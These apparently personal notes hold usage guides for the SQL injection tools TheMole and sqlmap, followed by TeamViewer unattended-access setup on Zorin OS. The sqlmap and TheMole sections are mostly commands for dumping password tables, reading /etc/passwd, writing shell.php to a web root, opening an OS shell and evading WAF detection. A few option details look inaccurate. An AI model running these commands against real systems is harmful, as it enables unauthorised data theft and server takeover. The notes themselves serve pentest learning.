Installation On Kali Linux / Debian / Ubuntu: bash # Debian/Ubuntu sudo apt update && sudo apt install themole # Or from source wget https://github.com/themole/themole/releases/download/v0.3/themole-0.3-src.tar.gz tar -xzf themole-0.3-src.tar.gz cd themole-0.3 python setup.py install Basic Syntax bash themole -u <URL> -n <needle> [-t <threads>] Option Description -u The target URL including the injectable parameter -n Needle — a string that appears in the response when the query returns TRUE, and disappears when FALSE (critical for boolean-based detection) -t Number of concurrent threads (default: 1) Step-by-Step Usage 1. Start TheMole with a target bash themole -u "http://target.com/page.php?id=12" -n "Welcome" -t 5 Once started, you get an interactive shell (mole >). 2. Interactive Commands From the interactive prompt, you can use these commands: Command Description url <URL> Set/change the target URL needle <string> Set/change the needle string schemas List all databases (schemas) tables List tables in current database columns <table> List columns of a specific table dump <table> Dump all data from a table dump <table> <col1,col2> Dump specific columns exec <query> Execute a raw SQL query shell Attempt to get an interactive SQL shell banner Display banner info help Show help exit Quit Full Workflow Example bash # 1. Launch the tool themole -u "http://victim.com/products.php?id=5" -n "Add to cart" -t 10 # 2. Inside the interactive session: mole > schemas # Output: information_schema, mysql, myapp_db, ... mole > tables # Output: users, products, orders, ... mole > columns users # Output: id, username, password, email, role mole > dump users username,password # Extracts and displays the data mole > exec "SELECT @@version" # Returns the database version mole > exit How the Needle Works The needle is the most important concept. It's a string that appears in the HTTP response body when your injected condition is true, and disappears when it's false. Example: If http://target.com/page.php?id=12 normally returns a page containing "Welcome", and when you inject id=12 AND 1=2 the page no longer contains "Welcome", then "Welcome" is a valid needle for boolean-based detection. Supported Databases MySQL Microsoft SQL Server PostgreSQL Oracle Supported Injection Types Union-based — uses UNION SELECT to return data directly in the response Boolean-based blind — infers data character-by-character using TRUE/FALSE page responses Typical Pentest Flow bash # 1. Quick single-line dump without interactive mode isn't natively supported, # so use interactive: themole -u "http://target.com/item.php?id=1" -n "Price:" # mole > schemas # mole > tables # mole > columns users # mole > dump users

https://sourceforge.net/projects/themole/

sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities and taking over database servers. Here's a comprehensive guide on how to use it. Installation sqlmap comes pre-installed on Kali Linux. If you need to install it: bash # Kali/Debian sudo apt install sqlmap # Or from GitHub (latest version) git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git cd sqlmap Basic Usage 1. Simple URL Testing The most basic usage is pointing sqlmap at a URL with a parameter: bash sqlmap -u "http://target.com/page.php?id=1" This will automatically: Test all common SQL injection techniques Fingerprint the database management system Determine injection parameters 2. Specifying Parameters bash # Test a specific parameter sqlmap -u "http://target.com/page.php?id=1&cat=5" -p id # Test multiple parameters sqlmap -u "http://target.com/page.php?id=1&cat=5" -p "id,cat" # Test all GET and POST parameters sqlmap -u "http://target.com/page.php?id=1" --level=2 3. POST Requests bash # Data from command line sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123" # Data from file sqlmap -u "http://target.com/login.php" --data="data.txt" 4. Using HTTP Headers bash sqlmap -u "http://target.com/page.php?id=1" \ --cookie="PHPSESSID=abc123; security=low" \ --user-agent="Mozilla/5.0" \ --referer="http://target.com" Common Techniques and Options Database Enumeration bash # Enumerate databases sqlmap -u "http://target.com/page.php?id=1" --dbs # Enumerate tables in a specific database sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables # Enumerate columns in a specific table sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --columns # Dump data sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users --dump # Dump all databases sqlmap -u "http://target.com/page.php?id=1" --dump-all Advanced Options bash # Set risk and level (higher = more thorough but slower) sqlmap -u "http://target.com/page.php?id=1" --level=3 --risk=2 # Choose injection technique (B: Boolean, E: Error, U: Union, S: Stacked, T: Time, Q: Inline) sqlmap -u "http://target.com/page.php?id=1" --technique=BEU # Use a specific DBMS sqlmap -u "http://target.com/page.php?id=1" --dbms=mysql # Threads for speed sqlmap -u "http://target.com/page.php?id=1" --threads=10 Request Delay and Evasion bash # Add delay between requests sqlmap -u "http://target.com/page.php?id=1" --delay=2 # Use random User-Agent sqlmap -u "http://target.com/page.php?id=1" --random-agent # Use a proxy (great with Burp Suite) sqlmap -u "http://target.com/page.php?id=1" --proxy="http://127.0.0.1:8080" # TOR sqlmap -u "http://target.com/page.php?id=1" --tor --tor-type=SOCKS5 File System Access (requires high privileges) bash # Read files sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" # Write files sqlmap -u "http://target.com/page.php?id=1" --file-write="/tmp/shell.php" --file-dest="/var/www/html/shell.php" # OS shell sqlmap -u "http://target.com/page.php?id=1" --os-shell # SQL shell sqlmap -u "http://target.com/page.php?id=1" --sql-shell Request From File You can save a full HTTP request from Burp Suite or your browser and feed it to sqlmap: bash sqlmap -r request.txt This is often the cleanest approach as it preserves all headers, cookies, and POST data. Batch Mode Skip all prompts and use default answers: bash sqlmap -u "http://target.com/page.php?id=1" --batch Practical Workflow Example bash # 1. Initial scan sqlmap -u "http://target.com/page.php?id=1" --batch --random-agent # 2. If vulnerable, enumerate databases sqlmap -u "http://target.com/page.php?id=1" --dbs --batch # 3. Get tables from the interesting database sqlmap -u "http://target.com/page.php?id=1" -D wordpress --tables --batch # 4. Dump the users table sqlmap -u "http://target.com/page.php?id=1" -D wordpress -T wp_users --dump --batch Tips Start with --batch and --random-agent to avoid most prompts and WAF detection Use --level=3 --risk=2 for thorough testing on forms with many parameters Combine with Burp Suite by routing through --proxy to see exactly what sqlmap sends Use --flush-session to start fresh if you changed targets or options The -r flag is your best friend when dealing with complex authenticated requests

https://sqlmap.org/ https://github.com/sqlmapproject/sqlmap

iPad remote love it

https://web.teamviewer.com/remote-support

1. Post-Installation bash # Update the system sudo apt update && sudo apt upgrade -y # Install additional drivers (proprietary GPU drivers) sudo ubuntu-drivers autoinstall # Install codecs and extras sudo apt install ubuntu-restricted-extras -y TeamViewer Full Access Setup on Zorin OS 2. Install TeamViewer bash # Download the .deb package wget https://download.teamviewer.com/download/linux/teamviewer_amd64.deb # Install dependencies sudo apt install ./teamviewer_amd64.deb -y # Or if dependency issues arise sudo apt --fix-broken install 3. Configure Unattended Access (Full Access) After installation: Launch TeamViewer from the application menu Sign in or create a TeamViewer account Navigate to Extras → Options → Security Under "Personal password for unattended access", set a strong password Under "Grant access", choose "Full Access" Go to General and enable "Start TeamViewer with system" Under Advanced, enable "Grant easy access" to assign the device to your account 4. CLI Configuration (Headless/Remote) If you need to configure remotely: bash # Set unattended access password via CLI sudo teamviewer passwd <YourNewPassword> # Grant full access rights (0 = full access) teamviewer settings set graid 0 # Start TeamViewer daemon sudo teamviewer daemon start # Get your TeamViewer ID teamviewer info | grep "TeamViewer ID" # Set to start on boot sudo teamviewer daemon enable Once that's done, you can connect to this machine from any other device using the TeamViewer ID and the password you set.